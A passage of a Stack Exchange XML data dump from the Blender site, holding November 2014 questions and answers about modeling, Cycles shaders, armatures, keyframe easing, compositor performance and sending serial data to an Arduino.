3.0" />
  <row Id="19034" PostTypeId="1" CreationDate="2014-11-19T07:47:33.457" Score="4" ViewCount="572" Body="&lt;p&gt;According to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Faces#Convert_Triangles_to_Quads&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This value (between 0 and 180) controls the threshold for&#xA;  this tool to work on adjacent triangles. With a threshold of 0.0, it&#xA;  will only join adjacent triangles that form a perfect rectangle (i.e.&#xA;  right-angled triangles sharing their hypotenuses). Larger values are&#xA;  required for triangles with a shared edge that is small, relative to&#xA;  the size of the other edges of the triangles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, I don't quite follow that part (even trying my best to), and still puzzling on how it works exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain more about it, for easier understanding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nk1jz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.: I know what it is for, just can hardly understand how it works from Wiki.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-11-19T07:57:29.833" LastActivityDate="2020-08-10T17:02:15.180" Title="How does &quot;Max Angle&quot; work when using Tris to Quads?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19036" PostTypeId="1" AcceptedAnswerId="19038" CreationDate="2014-11-19T12:46:02.607" Score="3" ViewCount="1429" Body="&lt;p&gt;I've imported a mesh to blender and it's not aligned to the world so to speak and I need the symmetry. How do I get rid of that rotation?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2qUc5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8090" LastActivityDate="2016-08-07T14:12:57.243" Title="How to align imported mesh to grid?" Tags="&lt;snapping&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19038" PostTypeId="2" ParentId="19036" CreationDate="2014-11-19T15:21:08.997" Score="5" Body="&lt;p&gt;You can hit &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; to toggle quad view mode, showing your model along all major axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can rotate with &lt;kbd&gt;r&lt;/kbd&gt; for manual corrections. For finer control, hold &lt;kbd&gt;Shift&lt;/kbd&gt; while you rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: An alternative method to ensure a symmetric mesh when you're done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;1&lt;/kbd&gt; to view from front&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;z&lt;/kbd&gt; to display wireframe&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;b&lt;/kbd&gt;+box select the whole left side of your mesh (you may need to &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt; add an edge loop down the mid-line first)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;x&lt;/kbd&gt; delete selected vertices&lt;/li&gt;&#xA;&lt;li&gt;Add and apply a mirror modifier along the x axis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not sure how this will differ from what you described in your comment, but it's an option&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-11-19T16:32:01.110" LastActivityDate="2014-11-19T16:32:01.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19039" PostTypeId="1" AcceptedAnswerId="19040" CreationDate="2014-11-19T16:16:52.783" Score="3" ViewCount="9445" Body="&lt;p&gt;I'm trying to overlay an image on top of a shader to create the effect of having printed onto metal like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qlDh7.gif&quot; alt=&quot;Picture of a illy coffee can&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using an Anisotropic shader for the underlying brushed metal and have UV Mapped a PNG (with alpha channel) for the printed portions. I've tried using a Mix and an Add shader to combine the two but it doesn't give the effect I'm after. Instead, it looks like the metal was stained with a translucent film, rather than over-printed with an opaque ink/paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my shader so far:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h5ikX.png&quot; alt=&quot;Screen grab of Node editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this over-printed effect?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-11-19T16:35:37.727" Title="How do you overlay an image on a shader in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;image&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-11-19T20:01:34.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="19040" PostTypeId="2" ParentId="19039" CreationDate="2014-11-19T16:35:37.727" Score="6" Body="&lt;p&gt;Take the &lt;em&gt;Alpha&lt;/em&gt; socket from your image, and plug it in to the &lt;em&gt;Fac&lt;/em&gt; of the &lt;em&gt;Mix Shader&lt;/em&gt; node. Then switch the &lt;em&gt;Diffuse BSDF&lt;/em&gt; to the bottom socket of the &lt;em&gt;Mix Shader&lt;/em&gt;, and the &lt;em&gt;Anisotropic BSDF&lt;/em&gt; to the top shader socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The black and white alpha channel will control which parts of the material get which node. A value of 0 goes to the bottom socket and a value of 1 goes to the top socket.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-11-19T16:35:37.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19041" PostTypeId="1" CreationDate="2014-11-19T18:30:12.270" Score="0" ViewCount="255" Body="&lt;p&gt;Can I create a single mesh character from multiple meshes from the following file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All off that in a single Body, obj, mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oyEn8.png&quot; alt=&quot;Screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32957&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="7720" LastEditDate="2014-11-21T19:51:03.633" LastActivityDate="2014-11-21T20:27:31.283" Title="BGE: Create a single mesh" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19042" PostTypeId="1" CreationDate="2014-11-19T19:47:18.117" Score="3" ViewCount="3740" Body="&lt;p&gt;I'm using a basic armature: a couple of bones for the hand, a bone for the abdomen, chest, neck, head, clavicle, arm, forearm, thigh, shin, ankle, foot and toes. I'm use poles and targets for the arm and leg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This basic setup works fine for walking animations, attacking, tree chopping etc. but as soon as I attempt an animation where the model is picking something up or crouching, it looks awful. The buttocks completely disappear and the abdomen is pushed in by the thighs. I've tried to weight paint my way out of this but I suspect I need more bones around the hip region to stop this from happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know any good resources for improving armatures? Keep in mind that this is for a game so I'm aiming for minimal bones. I can post my blender scene on pasteall if that would help. &lt;/p&gt;&#xA;" OwnerUserId="5806" LastActivityDate="2016-05-05T17:43:45.543" Title="Armature advice for the hip region" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19044" PostTypeId="2" ParentId="18486" CreationDate="2014-11-19T20:59:56.257" Score="3" Body="&lt;p&gt;At last, i've found an answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#edit the object&#xA;bpy.ops.transform.resize(value=(0.1, 0.1, 0.1))&#xA;#edit the image's selected part size&#xA;bpy.ops.uv.smart_project(island_margin=0.4)&#xA;#come object to first status&#xA;bpy.ops.transform.resize(value=(10, 10, 10))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know, it's a kludge. But it's a pretty kludge, and works! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everybody.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZZfuh.png&quot; alt=&quot;Finally :)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7829" LastActivityDate="2014-11-19T20:59:56.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19045" PostTypeId="2" ParentId="19020" CreationDate="2014-11-19T21:15:27.433" Score="6" Body="&lt;p&gt;Here are a few things to check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qNsKW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The &lt;em&gt;animation&lt;/em&gt; button&lt;/strong&gt; in the render panel (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;) is used for animation. The &lt;em&gt;render&lt;/em&gt; button on the left (with a camera icon) will only render one frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Frame step&lt;/strong&gt;. The default value is 1, meaning that it will render all of the frames in the specified range. Higher values will make the render/playbak skip frames. In any case it shouldn't be too high (it's too high in this screenshot, for example)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;Start&lt;/strong&gt; and &lt;strong&gt;End&lt;/strong&gt; frame determine the range of frames to be animated/rendered.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By the looks of your comments, these probably aren't your issue. However we might as well have them in an answer, since they're things that in general affect your symptoms.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorDisplayName="user1853" LastEditDate="2015-09-15T19:25:10.780" LastActivityDate="2015-09-15T19:25:10.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19047" PostTypeId="1" CreationDate="2014-11-19T22:19:08.037" Score="1" ViewCount="84" Body="&lt;p&gt;I am interested in putting 3d blender games on the tv and I thought there might be a way to put it on Amazon Fire tv. I understand that fire tv takes mostly java games, but I like blender as a rendering and game engine, and I don't want to have to use another game engine. So my question is, is there a way to put blender games on the Amazon Fire tv?&lt;/p&gt;&#xA;" OwnerUserId="6238" LastEditorUserId="6238" LastEditDate="2014-11-20T01:13:51.927" LastActivityDate="2014-11-20T13:48:43.373" Title="Blender games on Amazon Fire Tv" Tags="&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19049" PostTypeId="2" ParentId="18959" CreationDate="2014-11-19T22:29:15.727" Score="4" Body="&lt;p&gt;Sadly, this is not possible in Blender. There are other pieces of software which can do what you wan't:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.viscoda.com/en/products/non-commercial/voodoo-camera-tracker&quot; rel=&quot;nofollow noreferrer&quot;&gt;Voodoo&lt;/a&gt; (&lt;em&gt;thanks, &lt;a href=&quot;https://blender.stackexchange.com/users/3078/someonewithpc&quot;&gt;someonewithpc&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.adobe.com/products/aftereffects.html?sdid=KKQNK&amp;amp;kw=semgeneric&amp;amp;skwcid=AL!3085!3!45694200562!e!!g!!after%20effects&amp;amp;ef_id=VEFOvwAABE8gtNdz:20141119164138:s&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adobe after effects&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ssontech.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Syntheyes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.imagineersystems.com/products/mocha-pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mocha Pro&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.thepixelfarm.co.uk/products/PFTrack&quot; rel=&quot;nofollow noreferrer&quot;&gt;PFTrack&lt;/a&gt; (&lt;em&gt;thanks, &lt;a href=&quot;https://blender.stackexchange.com/users/1853/cegaton&quot;&gt;cgeaton&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some of these are a little expensive, but they are all far superior to Blender's tracker in many ways.&#xA;&lt;strong&gt;Note:&lt;/strong&gt; Mocha is the best matchmoving/roto/cleanup tool out their. by far. (&lt;em&gt;No affiliation, promise&lt;/em&gt;), PFtrack also is very good at what it does, but it is still a point tracker.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-11-20T15:26:59.093" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19051" PostTypeId="1" AcceptedAnswerId="19060" CreationDate="2014-11-20T01:42:20.410" Score="2" ViewCount="9832" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/prQpU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easing direction setting in the image above only affects the active keyframe, and when right clicked on the &lt;em&gt;copy to selected&lt;/em&gt; operator is grayed out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is python the only way to set this on all selected keyframes at once?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-20T12:31:06.067" Title="How to change the interpolation easing of multiple keyframes at once?" Tags="&lt;animation&gt;&lt;interface&gt;&lt;workflow&gt;&lt;keyframes&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19052" PostTypeId="1" CreationDate="2014-11-20T01:54:22.190" Score="2" ViewCount="714" Body="&lt;p&gt;I'm trying to build an animation of a sail rising up a mast. Effectively, the sail is in several segments, so realistically, each segment intersection will move at slightly different rates. It will also collect on the deck. (I'm sure you can visualize it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, is there a way of parenting two armatures to one segment, one on the top edge and one on the bottom. I know that a single armature can be used with two bones, but they only &quot;attach&quot; to the center of the edges, not the whole edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I can't seem to get the bones to run along a curve independently from each other. If I could do that (and the connect to the whole edges) I can keyframe the movements closely enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="8102" LastEditorUserId="29301" LastEditDate="2018-11-05T16:49:39.477" LastActivityDate="2018-11-05T16:49:39.477" Title="Attach cloth to solids and do animation" Tags="&lt;animation&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19053" PostTypeId="1" AcceptedAnswerId="19058" CreationDate="2014-11-20T06:20:49.337" Score="2" ViewCount="250" Body="&lt;p&gt;I'm in the process of writing an addon that generates buildings based on a group of assets such as bits of wall and roofing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current plan is to somehow dynamically save custom assets, including UV coordinate, textures, etc. to an object that I can create using python. (Much in the same way objects are typically created in python, only they would be defined by an object in the scene, rather than pre-defined by another piece of code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, when I want to create a Monkey with python, (and who wouldn't?) I can just call bpy.ops.mesh.primitive_monkey_add() and viola, I have a monkey. Is there a way to take my active object and dynamically create a function that is able to recreate it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask further questions on my dilemma, as I feel I may not be explaining it very well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8085" LastActivityDate="2014-11-20T10:09:16.807" Title="How do I make an object in my scene into an object I can instance using python?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;objects&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19055" PostTypeId="1" CreationDate="2014-11-20T07:15:30.680" Score="3" ViewCount="1506" Body="&lt;p&gt;I have a robot, when parenting one object (upper arm)  with a specific bone, ctrl_P and selecting Bone, causes the object changes its position. I have no idea why. Can someone give me a clue? with the lower arm, there's no problem at all. I'm using Blender 2.69.&lt;/p&gt;&#xA;" OwnerUserId="8106" LastActivityDate="2014-11-22T02:07:21.030" Title="when parenting object to bone, the object changes position" Tags="&lt;armature&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19056" PostTypeId="1" CreationDate="2014-11-20T07:44:52.117" Score="2" ViewCount="361" Body="&lt;p&gt;Does anyone know why custom bone shapes become enormous when applied to a particular bone? How do you get around this? &lt;/p&gt;&#xA;" OwnerUserId="5806" LastActivityDate="2014-11-20T12:43:37.657" Title="Scale custom bones" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19057" PostTypeId="1" CreationDate="2014-11-20T09:58:22.597" Score="0" ViewCount="54" Body="&lt;p&gt;I have below a cube type object that has very sharp faces. These faces contain 3 different colors (3 different types of purple) and I want to know if there is a way to transform these faces in a 2D texture so I could then delete the sharp faces and add the texture to a flat face, without loosing the aspect and forms of the colors. Is there a way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bq4Ct.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8107" LastEditorUserId="8107" LastEditDate="2014-11-20T11:34:52.820" LastActivityDate="2014-11-20T11:34:52.820" Title="How to transform the face of an object in a texture?" Tags="&lt;texturing&gt;&lt;objects&gt;&lt;vertices&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-21T09:44:32.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="19058" PostTypeId="2" ParentId="19053" CreationDate="2014-11-20T10:09:16.807" Score="1" Body="&lt;p&gt;You could select you own object and create a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Grouping_objects&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Group&lt;/em&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select your object(s)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; to create a group&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After that you can create instances of this group by calling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bpy.ops.object.group_instance_add(group='GroupName', view_align=False, location=(0,0,0))&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-20T10:09:16.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19059" PostTypeId="1" CreationDate="2014-11-20T12:12:56.910" Score="2" ViewCount="368" Body="&lt;p&gt;How can I get a groove of uniform width, both horizontally and vertically, on a door (a plane)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used edge loops, subdividing the surface and the knife tool but I can't get the groove to be a consistent thickness (6mm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BQMqX.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LO1En.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One value is about 736 and other is 730, which is close but not exact.&lt;/p&gt;&#xA;" OwnerUserId="8110" LastEditorUserId="241" LastEditDate="2014-11-20T12:42:08.290" LastActivityDate="2014-11-20T16:48:45.253" Title="Getting grooves of equal width" Tags="&lt;modeling&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19060" PostTypeId="2" ParentId="19051" CreationDate="2014-11-20T12:31:06.067" Score="4" Body="&lt;p&gt;You can use the keyboard shortcut &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; or choose from the menu Key -&gt; Easing Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will affect all selected points. But i don't think it is possible yet to set the easing parameters simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-11-20T12:31:06.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19062" PostTypeId="2" ParentId="19056" CreationDate="2014-11-20T12:43:37.657" Score="3" Body="&lt;p&gt;Check whether you have applied the scaling. The world transformations will be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make changes to the custom shape in edit mode or apply location / rotation / scale afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortcut is &lt;kbd&gt;CTRL &lt;/kbd&gt; + &lt;kbd&gt; A &lt;/kbd&gt; or choose it from the header menu Object -&gt; Apply -&gt; Scale.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-11-20T12:43:37.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19063" PostTypeId="1" CreationDate="2014-11-20T12:55:18.053" Score="1" ViewCount="754" Body="&lt;p&gt;I'm trying to send data from blender to arduino(Arduino mega 2560) using pyserial 2.7. But blender cannot send data to Arduino.I'm using COM3 as my serial port and there is no problem with sending data from Arduino to blender.When I'm trying to send data from blender to arduino it print out this error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VyhWV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blender code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import serial&#xA;&#xA;&#xA;ser = serial.Serial(&quot;COM3&quot;, 115200)&#xA;var = 10&#xA;out = ser.write(var)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;arduino code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int led = 40;&#xA;void setup() {&#xA;Serial.begin(115200);&#xA;pinMode(led, OUTPUT);&#xA;}&#xA;&#xA;&#xA;void loop() {&#xA;if (Serial.available())&#xA;&#xA;{&#xA;&#xA;int t= Serial.read();&#xA;&#xA;digitalWrite(led,HIGH);&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone knows where I'm doing wrong??&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2014-11-20T15:06:38.780" Title="Arduino cannot receive serial data from blender" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-11-20T19:33:40.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="19066" PostTypeId="2" ParentId="19063" CreationDate="2014-11-20T15:06:38.780" Score="1" Body="&lt;p&gt;The traceback clearly prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not open port 'COM3' PermissionError(13) 'Access is denied'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try to run it as admin.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-20T15:06:38.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19067" PostTypeId="1" CreationDate="2014-11-20T16:48:04.983" Score="3" ViewCount="1241" Body="&lt;p&gt;I am struggling while trying to perform a sequence which includes the following actions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Melt a mesh with a viscocity&lt;/strong&gt; like mercury or something similar.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Animate it with a force field, to achieve a fusion effect&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want I can send the blend file. I am a little bit frustated because I can`t achieve this effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="8113" LastEditorUserId="3710" LastEditDate="2014-12-27T09:08:33.370" LastActivityDate="2014-12-27T09:08:33.370" Title="Melt a complex mesh and then animate it using force fields" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19068" PostTypeId="2" ParentId="19059" CreationDate="2014-11-20T16:48:45.253" Score="1" Body="&lt;p&gt;&lt;strong&gt;I would use the &lt;em&gt;bevel&lt;/em&gt; tool.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, place one loop cut where you want each groove.  Then select the edge loops and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; and drag to what ever width you want the groove.  The bevel tool splits each selected edge into two edges connected with a face.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-11-20T16:48:45.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19070" PostTypeId="1" AcceptedAnswerId="19071" CreationDate="2014-11-20T18:18:17.077" Score="3" ViewCount="1336" Body="&lt;p&gt;I am Compositing a 4k image and when viewing it is very slow,so I want to work only with 1k viewer not the full 4k,but still have the same resolution when final render.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-11-20T18:47:10.837" Title="Working with lower resolution in compositor viewer?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19071" PostTypeId="2" ParentId="19070" CreationDate="2014-11-20T18:38:16.847" Score="7" Body="&lt;h1&gt;Scale Node&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Something I do is put a 'Scale' node (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; Distort&gt; Scale) just after any high-res image I want to reduce, setting the scale type to 'Render Size'. This will mean that any inputs will be scaled to your output resolution, set in the Render panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method you can then reduce the render size to 50% using the resolution percentage property in the render settings and the compositor will reflect that change (though the compositor may only update to the new resolution when the frame is recalculated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, I have the scale node after a 4k image, but with the resolution percentage set to 50% I only do the compositing with a 2k image, meaning the blur node is processing less pixels and will be faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OedXT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Unv42.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to do the full render you can just disable the scale node with &lt;kbd&gt;M&lt;/kbd&gt;, which 'Mutes' the node or set the resolution back to full. Other scale node types will also work, instead of 'Render Size', this is just my preferred method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It is important to put the Scale node &lt;em&gt;directly&lt;/em&gt; after the input image/movie so all the compositing is done on the low resolution image. Having the scale node at the end of the node tree would have no effect as the scaling would be happening &lt;em&gt;after&lt;/em&gt; all the intensive compositing of the node network is computed.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Compositor Quality&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can also set the 'Edit quality' of the compositor to 'Low' in the Performance area of the Properties menu (&lt;kbd&gt;N&lt;/kbd&gt;) in the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/80c5X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-11-20T18:47:10.837" LastActivityDate="2014-11-20T18:47:10.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
